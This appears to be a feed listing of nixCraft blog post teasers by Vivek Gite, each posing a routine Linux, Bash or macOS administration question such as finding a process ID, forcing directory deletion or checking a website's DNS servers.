I need to find and return the PID of the last command executed in Linux. How do I return the PID of command in Linux?

The post How to return pid of a last command in Linux / Unix appeared first on nixCraft.

Bash get filename from given path on Linux or Unix

Par : Vivek Gite

How do I extract filename and extension in the Bash shell script from the given path? How can I get filename from the path under the bash shell?

The post Bash get filename from given path on Linux or Unix appeared first on nixCraft.

How to find a website’s DNS (name server) address

Par : Vivek Gite

How can I find a website's DNS address? How do I check the current DNS servers of a domain or website using a Linux or macOS command line option? How do I find DNS address of a website using bash?

The post How to find a website’s DNS (name server) address appeared first on nixCraft.

How to find Public IP address AWS EC2 or Lightsail VM

Par : Vivek Gite

I need to get public IPv4 address on current EC2 or Lightsail VM Linux/Unix instance. How do I find Public IP address AWS EC2 or Lightsail VM?

The post How to find Public IP address AWS EC2 or Lightsail VM appeared first on nixCraft.

Change default shell to bash on Macos Catalina

Par : Vivek Gite

I noticed that my default shell set to zsh on Macos Catalina. How do I change my default shell to bash on Macos Catalina using the command line or GUI options?

The post Change default shell to bash on Macos Catalina appeared first on nixCraft.

Linux run a command with a time limit (timeout)

Par : Vivek Gite

I want to start command called foo, and kill it if still running after given DURATION in seconds. How do I run a command a time Limit on Linux? How do I run a Linux command, and have it timeout (abort) after N seconds?

The post Linux run a command with a time limit (timeout) appeared first on nixCraft.

How do I force delete a directory in Linux?

Par : Vivek Gite

I am trying to delete a directory in Linux using the rmdir dir1 command. But, I am getting an error that read as follows:
rmdir: failed to remove `dir1': Directory not empty
How do I force remove and delete a directory in Linux?

The post How do I force delete a directory in Linux? appeared first on nixCraft.

Check if a directory exists in Linux or Unix shell

Par : Vivek Gite

I need to check if a directory exists or not, within a shell script running on Linux or Unix-like system? How do I check if a directory exists in a shell script?

The post Check if a directory exists in Linux or Unix shell appeared first on nixCraft.

How to rename multiple folders in Linux using command line

Par : Vivek Gite

I am new to Linux programming and bash shell commands. I have a folder structure as dir1, dir2, dir3 and I would like to rename it as dir001, dir002, dir003. How do you rename multiple folders in Linux?

The post How to rename multiple folders in Linux using command line appeared first on nixCraft.

How to find Intel NUC BIOS version and model on Linux

Par : Vivek Gite

I installed Linux on Intel NUC. I need to find Intel NUC BIOS version. How do I find out BIOS version, date, and model name of my Intel NUC using Linux command-line options?

The post How to find Intel NUC BIOS version and model on Linux appeared first on nixCraft.

❌